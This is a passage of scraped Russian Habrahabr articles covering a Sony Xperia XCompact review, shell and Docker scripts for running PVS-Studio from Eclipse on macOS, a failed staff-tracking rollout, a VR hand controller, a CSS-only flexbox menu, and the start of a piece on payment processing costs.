теперь поддерживает еще больше провайдеров: Dropbox, Facebook, Github, Google, Instagram, Twitter, Vkontakte (спасибо REZ1DENT3 ) Напоследок новые результаты бенчмарков от Techempower PHPixie продолжает лидировать по производительности, с еще большим отрывом, уступая разве что Phalcon i микрофреймворкам без ORM. Источник В Plaintext тесте она обгоняет даже микрофреймворки: На сегодня это все, в будущем если понравится ждите еще статьей в таком стиле. А если вас заинтересовал сам фреймворк или его компоненты заходите пообщаться к нам в чат.
https://habrahabr.ru/post/317498/
habrahabr
Обзор смартфона Sony Xperia XCompact
['sony xperia xcompact', 'sony', 'xperia', 'android', 'смартфоны', 'обзор', 'тест']
В третьем квартале 2016 года Sony выпустила сразу две многообещающие новинки: стильный флагман Xperia XZ с 5,2-дюймовым экраном и его уменьшенную версию, Xperia XCompact с диагональю 4,6 дюйма. И...
В третьем квартале 2016 года Sony выпустила сразу две многообещающие новинки: стильный флагман Xperia XZ с 5,2-дюймовым экраном и его уменьшенную версию, Xperia XCompact с диагональю 4,6 дюйма. И если лет 5 назад смартфон с таким дисплеем казался невероятно огромным, то в новых реалиях он считается компактным. Прошлые модели – Xperia Z1 Compact, Xperia Z3 Compact и Xperia Z5 Compact – пользовались большой популярностью и были чуть ли не единственными миниатюрными устройствами среди А-брендов с топовой начинкой. Xperia XCompact продолжает традиции, но предстает перед нами в совершенно другом дизайне. Но чем еще порадует новинка? Давайте разберемся. Дизайн, конструкция Sony Xperia XCompact – определенно не самый миниатюрный смартфон на рынке, однако на фоне других новинок этого года с близкой диагональю экрана он выглядит словно игрушечный. В хорошем смысле. Sony предлагает на выбор три цвета корпуса: космический черный, снежно-белый и дымчато-голубой. Последний вы можете видеть на всех фотографиях здесь. В реальности цвет не чисто-голубой, а скорее серо-голубой. Выглядит уместным, как в мужских, так и в женских руках. Так что я бы рекомендовал в первую очередь обратить внимание именно на этот вариант. Дисплей, как уже говорилось, обладает диагональю 4,6 дюйма с разрешением 1280х720. Плотность пикселей при таком соотношении остается довольно высокой – 319 ppi. Так что разглядеть отдельные точки невооруженным взглядом практически невозможно. Пусть это прозвочит банально, но Xperia XCompact исключительно удобно лежит в руке. Габариты 129x65x9,5 мм позволяют полноценно управлять одной рукой – дотянуться до верхних углов экрана всегда удается без проблем. Толщина корпуса может показаться великоватой, но это вполне осмысленный дизайнерский ход – более тонкий корпус при аналогичных линейных размерах был бы не столь удобен. Почти все органы управления расположены справа: кнопка включения со встроенным сканером отпечатков пальцев, клавиша камеры и двойная кнопка регулировки громкости. Последняя расположена внизу, что поначалу может кажется непривычным, однако такой подход не лишен смысла – левшам и правшам будет одинаково удобно. Если держать Xperia XCompact в левой руке, то громкость регулируется средним пальцем. Слева расположен слот для симки формата nanoSIM и карточки microSD. И здесь стоит отметить, что Xperia XCompact выпускается только в версии с одной SIM-картой. Функциональность Dual SIM дает только флагман, Xperia XZ. На верхней грани есть 3,5-миллиметровый разъем для наушников или гарнитуры. Sony отказываться от него не планирует. А на нижнем торце можно заметить не привычный microUSB, а новый USB-C. Подключать к нему кабель можно любой стороной, и уже благодаря этому он оказывается практичнее и удобнее прежнего стандарта. Прошлая линейка смартфонов Sony оснащалась еще microUSB, но в дальнейшем будет использоваться только новый интерфейс. Камера Основная камера у Xperia XCompact такая же серьезная, как во флагманском Xperia XZ. То есть Sony четко сохраняет прежний подход – маленькая модель получает те же фичи, что и большая. Разрешение – самое большое среди топовых смартфонов, 23 мегапикселя. Этого будет достаточно для того, чтобы напечатать фотографию форматом А3 без потери качества. Ну а в реальности это дает большой запас для «вырезания» отдельных фрагментов кадра. Кроме того, камера отличается исключительно быстрым и точным автофокусом. Но если в обычном режиме это не особенно заметно, то следящая фокусировка не оставляет никаких сомнений – смартфон уверенно держит в фокусе быстро движущиеся объекты. Есть даже оптическая стабилизация и функция предикативной фокусировки, которая работает в тех случаях, когда объект движется по направлению к камере, а не влево или вправо. Качество съемки очень достойное – оцените сами. Передняя традиционно более скромная – всего 5 мегапикселей, но для съемки селфи и видеозвонков этого оказывается вполне достаточно. Объектив широкоугольный, а максимальная чувствительность сенсора достигает 3200 единиц, так что снять автопортрет можно будет даже в условиях слабого освещения. Железо и батарея Sony Xperia XCompact построен на базе Qualcomm Snapdragon 650 с шестиядерным центральным процессором (4 ядра по 1,4 ГГц + 2 ядра по 1,8 ГГц) и графическим ускорителем Adreno 510. Трех гигабайт оперативной памяти будет достаточно для открытия множества приложений и вкладок в браузере без какого-либо замедления работы. Памяти для хранения данных ровно 32 ГБ, но при необходимости этот объем можно увеличить с помощью карты microSD, смартфон поддерживает любые модели объемом до 256 ГБ. Разумеется, поддерживаются все актуальные беспроводные технологии: NFC, Bluetooth 4.2, ГЛОНАСС, A-GPS, LTE и, конечно, Wi-Fi. Железа хватает с большим запасом: 3D-игры, HD и Full HD видео, интернет-серфинг, музыка с максимальным битрейтом, мессенджеры – смартфон справляется со всеми этими задачами. Синтетические тесты подтвердили высокую скорость работы, хотя рекордов платформа класса middle end не ставит. 77 тысяч баллов в AnTuTu, 1397 и 3384 в одно- и мультиядерном замере Geekbench 4, где смартфон в легкую обошел NVIDIA Shield Tablet и Motorola Nexus 6. Емкость аккумулятора не рекордная, но вполне внушительная для столь компактного смартфона – 2700 мАч. Время работы, как обычно, полностью зависит от вашего сценария использования. На один день батареи точно хватит, на полтора-два – если немного экономить заряд. Быстро зарядить аккумулятор можно при помощи адаптера с поддержкой быстрой зарядки. Также есть технология Qnovo, которая управляет током зарядки, учитывая текущий объем батареи. Это позволяет существенно продлить срок службы аккумулятора. Операционная система Устройство из коробки поставляется с Android 6.0 Marshmallow. Прошивка с Android 7.0 станет доступна в декабре или в январе, в зависимости от вашего региона. Интерфейс Xperia Home не отличается от других смартфонов линейки Xperia X: аккуратные иконки, приятные шрифты и отличные возможности по кастомизации – но это уже всех Android касается. Приятная мелочь – тема рабочего стола по умолчанию соответствуют цвету самого смартфона. В нашем случае была установлена светло-голубая. А черный смартфон из коробки содержит темную тему. При желании ее можно сменить в настройках без каких-либо ограничений. Что радует, так это ненавязчивость оболочки – система не завалена всевозможным хламом, а представляет собой почти стандартный Android, но с парочкой фирменных приложений Sony. Скажем, PlayStation превращает смартфон в пульт управления игровой консолью, а также быстро делать покупки и загрузки на приставку. Выводы Еще один момент, который несказанно радует в Xperia XCompact – цена. В фирменном интернет-магазине Sony смартфон стоит 35 990 рублей . За эти деньги вы получаете практически флагманское устройство, с симпатичным дизайном, навороченной камерой и исключительно удобной фирменной оболочкой. Аппаратная начинка, правда, немного отличается от Xperia XZ, но при столь существенной разнице в цене это не критично. В общем, у Sony снова есть прекрасный смартфон для тех, кто не может смириться с тенденцией к постоянному увеличению диагонали экрана. Основные технические характеристики Sony Xperia XCompact Диагональ дисплея : 4,6 дюймов Разрешение дисплея : HD (1280x720 пикселей, плотность ~319 ppi) Чипсет : Qualcomm Snapdragon 650 (4 ядра по 1,4 ГГц + 2 ядра по 1,8 ГГц) Графика : Adreno 510 Память : 3 ГБ оперативной, 32 ГБ энергонезависимой + слот microSD (256 ГБ) Основная камера : 23 Мп, фазовый автофокус, вспышка, видеозапись Full HD Фронтальная камера : 5 Мп, без автофокуса Аккумулятор : Li-ion, 2700 мАч, несъемный Формат SIM-карты : nano-SIM Версия операционной системы : Android 6.0 Marshmallow Габариты и вес : 129x65x9,5 мм; 135 г Цена в России : 35 990 рублей
https://geektimes.ru/company/sonyxperia/blog/283644/
habrahabr
Встраиваем PVS-Studio в Eclipse CDT (macOS)
['c', 'c++', 'статический анализ кода', 'инструменты разработчика', 'eclipse cdt', 'eclipse', 'pvs-studio for macOS']
После появления цикла статей о встраивании PVS-Studio в различные IDE под Linux (Eclipse, Anjuta), появилось желание запустить PVS-Studio для проверки своих проектов, разрабатываемых в Eclipse под...
После появления цикла статей о встраивании PVS-Studio в различные IDE под Linux ( Eclipse , Anjuta ), появилось желание запустить PVS-Studio для проверки своих проектов, разрабатываемых в Eclipse под macOS. Но разработчики PVS-Studio пока не планируют выпускать версию под macOS. Ну что ж, заткнем пока эту брешь. Дано: macOS Sierra Eclipse Luna + GNU ARM Eclipse Plug-ins GNU ARM Embedded Toolchain Задача: Прикрутить PVS-Studio Вариантов решения на самом деле несколько: Запуск Eclipse в виртуальной машине Проверка кода на другом компьютере с Linux Использование Docker Остановился на Docker, т.к. виртуальная машина потребляла бы слишком много ресурсов, проверку на другом компьютере организовать теоретически можно, используя, например связку NFS+SSH, но, боюсь, это работало бы слишком медленно. У Docker тоже были минусы. Вернее один жирный — я ничего не знал про Docker. На Хабре есть вводные статьи. С их помощью на реализацию задумки ушло полтора дня. Быстрый старт займет буквально несколько минут. Понадобится настроить скрипты и Eclipce. Скрипты Понадобятся пять файлов: run_once.sh #!/bin/sh echo "Fetching last timurey/docker-pvs image" /usr/local/bin/docker pull timurey/docker-pvs:latest echo "Testing" /usr/local/bin/docker run -i timurey/docker-pvs echo "Ready to run" eclipse-pvs.sh #!/bin/bash debug() { if [ "$debug" == "1" ]; then d=$1 echo $d fi } usage() { echo "usage: eclipse-pvs [[-w <path> -n <name> [-d]]| -h]" echo "where args:" echo " -w(--workspace) <path> set path to workspace directory" echo " -n(--projectname) <name> project name in eclipse" echo " -c(--config) <config> config descriptor (Debug or Release)" echo " -d(--debug) some debuging info" echo " -h(--help) show this message" } clean () { debug "Clean" make -f makefile clean exit } analyze() { debug "running command:" debug "/usr/local/bin/docker run --security-opt seccomp:\"""$workspace/docker-pvs/strace.json""\" -v \"""$workspace""\":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n \"""$projectname""\" -c \"""$config""\"" /usr/local/bin/docker run --security-opt seccomp:"$workspace/docker-pvs/strace.json" -v "$workspace":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n "$projectname" -c "$config" exit } while [ "$1" != "" ]; do case $1 in -w | --workspace ) shift workspace=$1 ;; -c | --config ) shift config=$1 ;; -n | --projectname ) shift projectname=$1 ;; -d | --debug ) debug=1 ;; -h | --help ) usage exit ;; clean ) clean exit esac shift done if [ "$workspace" != "" ]; then if [ "$projectname" != "" ]; then if [ "$config" != "" ]; then debug "workspace path: \"$workspace\"" debug "project name: \"$projectname\"" debug "config description: \"$config\"" analyze else echo "config description is not defined" >&2 exit fi else echo "project name path is not defined" >&2 exit fi else echo "workspace is not defined" >&2 exit fi client.sh #!/bin/bash while [ "$1" != "" ]; do case $1 in -n | --projectname ) shift projectname=$1 ;; -c | --config ) shift config=$1 ;; esac shift done if [ "$projectname" != "" ]; then TEMPLOG=$(tempfile) cd "/root/workspace/$projectname/$config" # удаляем ошмётки `strace`, которые могут появиться в некоторых случаях: pvs-studio-analyzer trace -- make -f makefile all 2>&1 | sed '/strace: umovestr:/d' - pvs-studio-analyzer analyze --compiler arm-none-eabi-gcc -o "$TEMPLOG" --cfg /root/workspace/docker-pvs/pvs-studio.cfg # удаляем непонятную строку, которая у меня появляется в выводе конвертера: RC=$(plog-converter -t errorfile "$TEMPLOG" | sed '/The documentation for all/d' -) rm -f "$TEMPLOG" echo "$RC" fi strace.json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "name": "strace", "action": "SCMP_ACT_ERRNO" } ] } pvs-studio.cfg exclude-path = /usr/arm-none-eabi/include platform = linux64 preprocessor = gcc analysis-mode = 4 sourcetree-root = /root/workspace В Eclipse используется директория workspace, в которой хранятся проекты. Создадим внутри неё директорию docker-pvs и сложим туда все вышеуказанные файлы. Делаем исполняемыми скрипты: $ chmod +x run_once.sh eclipse-pvs.sh client.sh Eclipse Будем запускать анализатор во время компиляции. Желательно, что бы в контейнере и в Eclipse использовалась одна версия компилятора. В образе находится версия 5-2016-q3 (от 2016-09-19), так что загружаем и устанавливаем для macOS версию 5-2016-q3 (от 2016-09-28) c сайта launchpad.net В свойствах проекта и создаем новую конфигурацию на основе Debug Manage configurations кликабельно Затем в опциях новой конфигурации: 1. Снимаем галочку "Use default build command 2. В Build command ставим следующую команду: ${workspace_loc}/docker-pvs/eclipse-pvs.sh -w "${workspace_loc}" -n ${ProjName} -c Debug -d 3. Отмечаем Generate Makefiles automatically C/C++ Build кликабельно Закрываем свойства проекта, делаем активной только что созданную конфигурацию и ⌘+B кликабельно Как это работает. Команда ${workspace_loc}/docker-pvs/eclipse-pvs -w "${workspace_loc}" -n ${ProjName} -c Debug -d Запускает наш скрипт и передает в него следующие параметры: -w полный путь до workspace -n имя проекта -c директория, внутри которой будем проводить сборку -d вывод отладочных сообщений скрипта Скрипт eclipse-pvs.sh после проверки обязательных параметров запускает docker /usr/local/bin/docker run --security-opt seccomp:"$workspace/docker-pvs/strace.json" -v "$workspace":/root/workspace -i timurey/docker-pvs /root/workspace/docker-pvs/client.sh -n "$projectname" -c "$config" Здесь параметров чуть больше: --security-opt seccomp: разрешает вызывать функцию strace внутри контейнера (отключена по соображениям безопасности). Подставляется полный путь до файла strace.json -v монтируем директорию workspace из macOS в /root/workspace внутри контейнера (здесь находятся необходимые client.sh и pvs-studio.cfg) -i используем образ timurey/docker-pvs, загруженный с hub.docker.com /root/workspace/docker-pvs/client.sh запускаем скрипт запуска pvs-studio внутри контейнера. Для тех, кто захочет собрать образ сам: Dockerfile FROM ubuntu:14.04 RUN apt-get update && apt-get install -y strace software-properties-common cmake wget \ && add-apt-repository ppa:team-gcc-arm-embedded/ppa \ && apt-get update && apt-get install -y gcc-arm-embedded RUN wget http://files.viva64.com/pvs-studio-6.11.20138.1-amd64.deb RUN dpkg -i pvs-studio-6.11.20138.1-amd64.deb RUN rm pvs-studio-6.11.20138.1-amd64.deb RUN echo Asia/Yekaterinburg >/etc/timezone && ln -sf /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime && dpkg-reconfigure -f noninteractive tzdata Вместо заключения Казалось бы, Docker используют только web разработчики. Но это не так. Docker можно использовать и для разработки C/C++, в том числе под микроконтроллеры.
https://habrahabr.ru/post/317518/
habrahabr
«Нам проще на листочках»: почему в российских компаниях проваливаются проекты по автоматизации
['управление', 'менеджмент', 'автоматизация', 'управление персоналом']
Мы развиваем сервис контроля выездных сотрудников «Планадо» — им пользуются компании, чьи работники занимаются монтажом и обслуживанием оборудования, окон и мебели, уборкой, доставкой, сборкой...
Мы развиваем сервис контроля выездных сотрудников « Планадо » — им пользуются компании, чьи работники занимаются монтажом и обслуживанием оборудования, окон и мебели, уборкой, доставкой, сборкой и так далее. С помощью приложения в смартфоне руководитель компании может узнавать о том, где они находятся в конкретный момент времени, выполняют ли работу по технологии, убирают ли за собой мусор — для этого есть функции геотрекинга, чек-листов, фотоотчетов. Рядовым сотрудникам почти никогда не нравится идея внедрения «Планадо» — никто не любит контроль. И не всегда руководству компании хватает сил этому противостоять. Сегодня мы расскажем о том, как потеряли одного из заказчиков. Как мы потеряли клиента Руководство одной из управляющих компаний ЖКХ с Дальнего Востока решило повысить эффективность работы своих мастеров, которые ходят по вызовам — сантехников, электриков и уборщиков. Под «повышением эффективности» здесь понимается довольно простой контроль — кто и где когда работал, сколько по времени занял заказ. Для решения задачи выбрали «Планадо» — сервис, хоть и не создавался специально для ЖКХ, но для наведения порядка в управляющей компании вполне пригоден. Через несколько месяцев руководство неожиданно решило свернуть проект. Мы напоследок поговорили с заказчиком и вот что услышали: Внедрение «Планадо» открыло ящик Пандоры . Быстро подтвердилось, что сотрудники брали левые заказы (видны подозрительные пробелы в расписании и затянувшиеся наряды), опаздывали (определяется по геопозиции), некачественно выполняли работу (при фотографировании результатов работы для чек-листа камеру закрывали рукой). « У нас специфический контингент » — сотрудникам сложно работать с новыми технологиями — среди них много пожилых и не самых продвинутых людей. « Можно их уволить, но где взять новых? » Если мастеров жестко контролировать, то их придется увольнять, а найти даже таких людей было непросто. Новые вряд ли будут лучше, решили руководители. У нас все и так нормально — бизнес в целом жив, а значит и лишние сложности ни к чему. Добили нас вот таким аргументом: Оборудование выходит из строя — за несколько месяцев почти все специально закупленные по случаю внедрения «Планадо» смартфоны «сломались» или «потерялись». Итоговый вывод: «мы лучше будем по старинке, на листочках свой учет вести — нам так проще». Насколько все плохо Реальный бизнес в России — это не модный стартап. Огромному количеству предпринимателей приходится работать «на земле» и сталкиваться с не самыми порядочными сотрудниками, которые обманывают компанию, срывают сроки, неожиданное уходят в запой и пропадают. Наладить хоть какую-то работу и вывести компанию в плюс при таких условиях — уже подвиг. Развиваться дальше сил хватает далеко не всем. С другой стороны, в основном так и живут управляющие компании. И выделиться из серой массы совсем нетрудно — достаточно лишь начать работать лучше них. И этого как раз помогают добиться, к примеру, технологии вроде «Планадо». Итог: «да здесь всю систему менять надо» Есть старый советский анекдот. Разговор в тюрьме: — По какой статье сидишь? — По политической. — А что сделал? — Я сантехник. Вызвали в горком партии. Я посмотрел и ляпнул: да тут всю систему менять надо! Что произошло в описанной ситуации? Фактически руководитель компании капитулировал перед нерадивыми подчиненными и признал, что на самом деле именно они управляют фирмой. Мы уверены, что терпеть сотрудников, которые, ломают и теряют технику, лишь бы начальство не узнало об их трудовых «достижениях» — значит убивать собственный бизнес. Увольнять может быть страшно, но избавление от плохих работников — это только плюс для компании, даже если придется всех искать заново. Мы сами сталкивались с подобным — несколько лет назад довелось удаленно управлять небольшим бизнесом. Среди сотрудников были монтажники оборудования. Контролировать их из другого города было сложно, в результате пышным цветом расцвели все перечисленные проблемы — «левые» заказы, опоздания, низкое качество, воровство расходников, нежелание вести отчетность и т.п. В итоге пришлось менять всю команду проекта, потому что плохие сотрудники разложили весь коллектив, даже тех, кто когда-то был хорошим. А еще через год замену пришлось повторить. Только с третьего раза удалось наладить процессы, и в результате этот бизнес работал стабильно и впоследствии был успешно продан. Если бы мы тогда не проявили жесткость, то скорее всего просто закрыли бы компанию и зафиксировали убыток. У предпринимателя всегда есть выбор — либо двигаться вперед несмотря на трудности, либо оставить все как есть. Второй вариант проще, но все это будет работать лишь до момента, как новые подходы к обеспечению качества внедрят конкуренты. И тогда соперничать с ними будет уже невозможно.
https://habrahabr.ru/company/planado/blog/317520/
habrahabr
Клипса от Raccoon.world, как контроллер для VR/AR
['vr', 'ar', 'digital', 'game development', 'gadgets']
В 21 веке появились и стремительно начали развиваться такие новые направления, как виртуальная и дополненная реальности. Появление новых индустрии с одной стороны повлекло за собой разработку и...
В 21 веке появились и стремительно начали развиваться такие новые направления, как виртуальная и дополненная реальности. Появление новых индустрии с одной стороны повлекло за собой разработку и создание новых гаджетов, которые во многом еще должны развиться. Пока мы не пройдем путь проб и ошибок в разработке, мы так и не приблизимся к полноценному погружению в цифровой мир. Он так и будет для нас инородным и пугающим, пронизанный некачественной картинкой, неудобными и с достаточной погрешностью гаджетами. С другой стороны, для многих мир VR/AR далекий и не понятный, каким бы реалистичным он не казался. Однако, не смотря ни на что, этот мир займет определенный сегмент нашей жизни: начиная от игр и заканчивая дизайном, обучение, симуляторами для хирургов или авиации. Чтоб смягчить переход к виртуальному миру, кроме создания качественных полноценных решений, не хватает простых и понятных контроллеров, выполняющих простые и точечные задачи. На пути создания перчатки для VR, мы выделили простой и незамысловатый продукт — клипсу. Клипса от компании Raccoon.world — гаджет, надевающийся на ладонь человека и отвечающий за ориентацию в пространстве для управления виртуальными руками, объектами, программами и техникой. Клипса определяет ориентацию вашей руки в пространстве и передает соответствующее положение в виртуальный мир. С помощью клипсы вы можете управлять различной техникой в играх и стрелять. Она может заменять мышь, джойстик или клавиатуру и может быть использована в любой игре, но лучше всего сочетается с файтингами, аркадами, шутерами и играми с элементами Drag&Drop. Можно использовать одну клипсу на руке или две клипсы на обеих. Клипса выполнена из материалов, которые не доставляют дискомфорта при надевании на руку и длительном использовании. Вам не надо ничего сжимать в ладони, как в случае с джойстиком, что при длительной игре иногда приводит к частичному онемению и усталости пальцев. Кроме этого, клипсу можно использовать с софтом для дизайна, например передвигать/менять виртуальную мебель в квартире, если вы хотите заменить старый диван. Хард Один из основных принципов работы клипсы — ориентация в пространстве, которая реализовывается посредством классического МАГ, однако используются уникальные низкоуровневые алгоритмы для максимизации эффективности от связки датчиков. Даже в таком упрощенном устройстве учтены необходимости взаимодействия со стенами и прочими объектами, взяты основы ведущей гарнитуры HTC Vive. Есть возможность работать как с проводным, так и беспроводным вариантом. Оценочный вес клипсы 45 — 70 грамм, что в несколько раз легче чем телефон и не составляет какой-то тяжести во время ее использования. Уже через несколько минут вы забудете про существование клипсы и будете с удовольствием осуществлять привычные движения. Индикаторы, расположенные на клипсе, будут сигнализировать о подключении/низком заряде и тд. Софт На сегодняшний день клипса интегрирована с существующими играми на PC посредством драйвера. Также команда работает над созданием ПО под мобильный VR/AR и ведет переговоры с несколькими студиями насчет заказа полноценных игр и софта под мобильные платформы, совместной разработки и предоставления API/библиотек, которые компании будут встраивать в продукты. Библиотеки будут распространяться в открытом доступе и программисты с легкостью смогут использовать их для интеграции своих приложения со связкой клипса-телефон, и получать дополнительные возможности по сравнению с использованием только шлемов VR/AR. С рынком PC немного другая ситуация. После анализа рынка, было решено, что самым правильным и надежным вариантом является написание собственного драйвера. Данный драйвер будет работать в двух режимах: • Эмуляция hid-устройств для использования в существующих играх (грубо говоря будет прикидываться джоем с некоторыми особенностями); • Для новых игр будет говорить “я гаджет, я клипса”, взаимодействовать на более глубоком уровне и использовать весь потенциал. Сферы применения: • Игровая индустрия • VR/AR • Управление 3D объектами • Управление PC В данный момент команда готовит кампанию на Kickstarter, а кроме этого: • Проводит тестирование клипсы геймерами из разных стран; • Предоставляет клипсы в различных гейм-пространствах; • После кампании на Kickstarter планируется продажа клипс через интернет.
https://habrahabr.ru/post/317522/
habrahabr
Адаптивное меню без Javascript
['css3; html-верстка; flexbox;']
В этой публикации я хочу показать один из способов реализации адаптивного горизонтального меню с использованием Flexbox. Данный способ реализации меню используется на сайте Warface Hub, но...
В этой публикации я хочу показать один из способов реализации адаптивного горизонтального меню с использованием Flexbox. Данный способ реализации меню используется на сайте Warface Hub , но немного с другой структурой и б о льшим количеством свистелок. Где-то с год назад, я попал в одну компанию, в которой мне сказали замечательную фразу: «Сначала делаем все с помощью CSS, а потом только добавляем JavaScript». Совет, вроде, хороший, и я ему последовал. Но как бывает, меня понесло. Сейчас мне это аукнулось тем, что не все нужно делать с таким подходом. И так, ближе к делу. Я приступил к изучению и реализации. Цели получить базовые навыки работы с Flexbox свойствами; разработать горизонтальное адаптивное меню; полученное решение применить в проекте. Инструменты и документация NPM – в качестве менеджера пакетов (теперь активно переезжаем на Yarn) Grunt – инструмент, который поможет в сборке проекта Документация по Flexbox (см. Полезные ссылки ); SASS Вы можете использовать свой набор инструментов Структура Для организации структуры стилей для меню я пользовался концепцией, которая описана тут . Автор данной концепции предлагает разбить все описания стилей на несколько частей: layout – описывает положение компонентов и элементов на странице; component – описывает отображение и поведение элементов, которые входят в компонент; element – описывает отображение и поведение единичного элемента; Таким образом мое понимание концепции привело меня к такой структуре: Base — описание констант, базовых стилей (как в normalize.css ) Component — описание компонентов приложения. В нашем случае компонент «Menu» Element — описание стилей для элементов таких как кнопка, ссылка и т.п. Layout — описание расположения блоков на странице style.scss — в этом файле мы соберем все вместе CSS и HTML теги input & label Прежде чем начать рисовать HTML разметку, я бы хотел напомнить/показать интересное поведение CSS селекторов, которое нам пригодится. <label for="input-0" class="label">Текст 1</label> <input type="radio" name="input-trigger" id="input-0" class="input" /> <label for="input-1" class="label">Текст 1</label> <input type="radio" name="input-trigger" id="input-1" class="input" /> В данном примере Вы можете заметить, что при нажатии на label Вы получите выбранный input. В этом ничего особенного нет (см. документацию ), но самое интересное происходит со стороны CSS селекторов. .input:checked { border-color: red; } Данный CSS селектор будет обработан только тогда, когда будет выбран input (см. :checked ) Второй момент, на который нужно обратить внимание в CSS селекторах — это выбор следующего элемента (см. Adjacent sibling selectors и General sibling selectors ). То есть мы можем выбрать следующий элемент после текущего. .input:checked + .label { color: red; } В этом примере мы получили следующее поведение: при выбранном элементе с классом input следующий за ним элемент с классом label будет изменен в соответствии с описанными стилями. Теперь это все можно объединить воедино. Структура меню с одном элементом <input type="radio" name="menu-item-trigger" id="menu-close" class="input input-hidden"> <nav class="menu"> <input type="radio" name="menu-item-trigger" id="menu-item-0" class="input input-hidden" /> <div class="menu-item menu-item-trigger"> <label for="menu-close" class="menu-item-close"> </label> <label for="menu-item-0" class="menu-item-label"> <i class="fa fa-home"></i> <span class="menu-item-label-text">Menu Item 0</span> </label> <div class="menu-sub"> <li class="menu-item menu-item-sub"> <a href="#" class="menu-item-label"> <span class="menu-item-label-text">Sub Item Menu 0</span> </a> </li> <li class="menu-item menu-item-sub"> <a href="#" class="menu-item-label"> <span class="menu-item-label-text">Sub Item Menu 1 - With long label</span> </a> </li> <li class="menu-item menu-item-sub"> <a href="#" class="menu-item-label"> <span class="menu-item-label-text">Sub Item Menu 2 - Withtooolongwordslikeingerman</span> </a> </li> </div> </div> </nav> В данном примере я добавил несколько элементов input и label, чтобы получилось следующее поведение: Каждый элемент name=menu-item-trigger, кроме первого, в состоянии :checked будет изменять видимость и позиции последующих элементов label.menu-item-close и div.menu-sub таким образом, чтобы элемент label.menu-item-close полностью перекрывал элемент label.menu-item-label, а div.menu-sub отображался под элементом label.menu-item-label. То есть мы открываем подменю и меняем поведение при клике на основное меню; Первый элемент name=menu-item-trigger будет использован только для того, чтобы отменить все примененные изменения в предыдущем пункте, то есть закрыть подменю; Не выбран ни один пункт меню: Выбран один пункт меню: После таких манипуляций остается только скрыть элементы input. Flexbox Теперь необходимо добавить стили, чтобы данное меню хорошо отображалось при различных разрешениях и различных браузерах. На текущий момент мы сосредоточили наши усилия на поддержке тех браузеров, которые больше всего используются посетителями нашего ресурса. Получился небольшой список: Chrome, Firefox, IE Edge, IE 11 и их мобильные варианты последних версий. Поддержка осуществляется путем добавления префиксов ( postcss ) и отдельного написания стилей для конкретного браузера. Адаптивность в Flexbox достигается очень просто. Достаточно описать контейнер, но иногда будет необходимо решить проблемы с контентом внутри. Например: элементы меню с длинными словами, как «knowledge base» и его немецкий перевод «Wissensdatenbank». В данном случае добавляется оборачивающий элемент для текста, к которому применяются примерно следующие стили: .label-text { // @link: http://htmlbook.ru/css/text-overflow overflow: hidden; text-overflow: ellipsis; width: 100%; display: inline-block; } Картинки, которые нужно растянуть по ширине, но при задании width: 100%; они вылезают за пределы родительского блока. Тут поможет box-sizing: border-box; для этого элемента; Так же могут возникнуть проблемы с тем, что дочерние элементы не занимают всю возможную длину или не распределяются равномерно. Тут возможно поможет flex: 1 1 auto. В данном примере контейнер для элементов описан так: .menu { display: flex; align-items: center; flex-wrap: wrap; } Для каждого элемента в контейнере необходимо задать стили так, чтобы он заполнял все возможное пространство и выравнивали контент внутри себя в центре по вертикали: .menu-item { flex: 1 1 auto; display: flex; flex-direction: column; align-items: stretch; } Более красивого отображения меню можно достичь с помощью media queries и более точных размеров и позиций элементов. Итог После реализации данного примера я доработал его в рамках боевого проекта, который сейчас использует подобное адаптивное меню. Так же были выявлены плюсы и минусы избавления от Javascript в пользу CSS: Плюсы: Не требуется ожидать загрузки JavaScript. Чаще всего меню находится в шапке сайта, поэтому эти стили можно положить в core.css, который описывает основные стили элементов, видимые пользователю при загрузке страницы; Меню будет работать, даже если в JavaScript произойдет что-то страшное и не будет инициализирован скрипт для меню. Минусы: Ограниченные возможности CSS селекторов, например нельзя изменить родительский элемент при изменении дочернего; На iOS была замечена потеря производительности. Пришлось разбираться и проставлять will-change свойства; Нет возможности скрыть под меню через N секунд после потери фокуса (особенности реализации); Трудно разобраться в HTML разметке меню; Поддержка Flexbox в IE на уровне «вырви глаз» Полезные ссылки PCSS — описание концепции построения компонентного CSS; Guide To Flexbox (EN) — тут хорошо описаны свойства Flexbox; Guide To Flexbox (RUS) — тут хорошо описаны свойства Flexbox на русском языке; Mr. Froggy — поможет Вам овладеть навыками использования Flexbox Demo Github Project
https://habrahabr.ru/post/317528/
habrahabr
Из чего складывается стоимость платежей
['Платежи', 'расходы', 'комиссии', 'ценообразование', 'PayOnline']
Для нас, в PayOnline прием платежей в сети — основа бизнеса. Но для наших клиентов этот процесс сопряжен с расходами. В материале топ-менеджера крупнейшей западной e-commerce-компании, перевод...
Для нас, в PayOnline прием платежей в сети — основа бизнеса. Но для наших клиентов этот процесс сопряжен с расходами. В материале топ-менеджера крупнейшей западной e-commerce-компании, перевод которого мы публикуем ниже, содержатся практические советы для предпринимателей по оптимизации расходов при приеме платежей. Стоимость платежей — загадочная и скользкая тема. В сети вы редко найдете про нее какие-либо упоминания, не говоря уже о четких определениях или объяснениях. Она подобна обоюдоострому мечу. Для одной стороны это неизбежное зло, для другой — серьезный генератор доходов. Независимо от того, к какому лагерю принадлежите вы, всегда полезно узнать о способах качественной и количественной оценки расходов. Это один из тех показателей, за которыми важно следить. И поскольку повышение рентабельности не есть нечто такое, от чего вы можете спокойно отмахнуться, а сама работа в этом направлении, к тому же, может отнять немало времени, планирование наперед и частый анализ проделанной работы здесь просто необходимы. Под «стоимостью» в сущности понимаются комиссионные отчисления в пользу процессинговой компании, платежной сети и эмитента платежных карт, обеспечивающие ваш бизнес возможностью принимать платежи. В рамках этого материала мы сосредоточимся только на приеме платежей онлайн. И хотя такое определение, кажется, не нуждается в пояснениях, на практике оно сопряжено с большим количеством трудностей и подводных камней. Здесь дьявол точно кроется в мелочах. Первый шаг — понимание расходов, или, точнее, той среды, под влиянием которой формируются связанные с платежами расходы. Четкое понимание того, какие факторы находятся под вашим контролем, сэкономит время и убережет от разочарований на более поздних этапах. Если речь идет о крупной организации, попытайтесь подробнее разобраться с внешними и внутренними драйверами стоимости. Откуда берутся издержки? Как они распределены по отношению к вашей линейке продуктов, структурным единицам компании и их подразделениям? Не дайте цифрам себя обмануть. Узнайте, как вы пришли именно к такой модели распределения: основываясь на прибыльности того или иного сегмента или просто из принципа равномерного 